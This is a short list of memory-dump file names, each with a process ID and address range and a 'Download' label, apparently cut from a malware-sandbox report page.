                            memory/5836-609-0x0000000000CF0000-0x0000000001181000-memory.dmp
                            Download

                            memory/6068-582-0x000001D3B0E20000-0x000001D3B0E42000-memory.dmp
                            Download

                            memory/6456-1180-0x000002EF3D770000-0x000002EF3D77A000-memory.dmp
                            Download

                            memory/6456-1187-0x000002EF3D780000-0x000002EF3D788000-memory.dmp
                            Download

                            memory/6792-1155-0x0000000000730000-0x0000000000865000-memory.dmp
                            Download

                            memory/6792-602-0x0000000000730000-0x0000000000865000-memory.dmp
                            Download

                            memory/6792-608-0x0000000000730000-0x0000000000865000-memory.dmp
                            Download